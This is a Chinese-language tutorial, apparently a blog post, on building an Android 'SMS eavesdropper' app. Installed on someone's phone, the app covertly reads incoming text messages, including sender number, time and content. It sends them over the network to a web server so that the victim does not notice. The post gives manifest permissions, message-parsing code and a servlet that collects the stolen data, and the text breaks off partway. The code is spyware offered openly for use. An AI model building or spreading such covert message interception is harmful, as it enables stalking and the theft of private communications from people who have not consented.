一、短信窃听器原理介绍
短信窃听器的目的是窃听某人发送的短信，比如我们在A的手机中安装了此应用想要看B发送给A的短信；
而怎么样才能够获得短信息呢？如果通过短信方式发送给第三方，则会被看出来，因此我们可以通过网络将消息发送给web服务器；
Android手机中的Messaging应用也只是一个普通的应用；
二、核心代码
短信窃听器客户端核心代码
在AndroidManifest.xml中添加权限：
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 --> <uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 -->(1)Object[] pdus = (Object[])intent.getExtras().get("pdus");获得短信数据
(2)byte[] pdu = (byte[])pdus[0];
(3)SmsMessage message = SmsMessage.createFromPdu(pdu);将字节数组封装为SmsMessage
(4)String content = message.getMessageBody();获得短信内容
(5)String date = new Date(message.getTimestampMillis()).toLocaleString();获得短信时间
(6)String senderNumber = message.getOriginatingAddress();获得发送方号码
服务器端代码只是接收参数并显示；
三、短信窃听器具体代码
服务器端代码
package org.xiazdong.servlet;import java.io.IOException;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;@WebServlet("/SMSServlet")public class SMSServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.setCharacterEncoding("utf-8"); String sender = request.getParameter("sender"); String body = request.getParameter("body"); String time = request.getParameter("time"); System.out.println("发送方："+sender); System.out.println("发送内容："+body); System.out.println("发送时间："+time); }}1.只是获得短信息
